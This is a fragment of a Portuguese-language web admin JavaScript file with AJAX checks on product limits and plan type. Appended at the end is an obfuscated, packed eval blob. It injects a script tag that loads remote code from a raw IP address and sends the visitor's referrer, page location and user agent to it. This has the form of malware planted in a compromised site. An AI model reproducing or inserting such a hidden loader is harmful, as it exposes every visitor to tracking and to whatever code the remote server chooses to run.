	window.location = '/ver/cadastro';
}

function verificaQtdProdutos() {
	$.ajax({
		url: '/executa/verificaProduto/admin',
		success: function(retorno) {
			if(Trim(retorno) == 'Ultrapassou') {
				alert('Você já ultrapassou o limite de produtos permitidos no seu plano. Faça agora mesmo um upgrade de planos, acessando o link "Meu plano" menu superior.');
			} else {
				window.location = '/admin/adicionar-produtos';	
			}
		}
		
	});
}

function verificaPlano(){
		$.ajax({
		url: '/executa/verificaPlano/admin',
		success: function(retorno) {
			if(Trim(retorno) == 'gratis') {
				window.location = '/admin/plano-gratis';
			} else {
				window.location = '/admin/pagseguro';	
			}
		}
		
	});	
	
}

var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
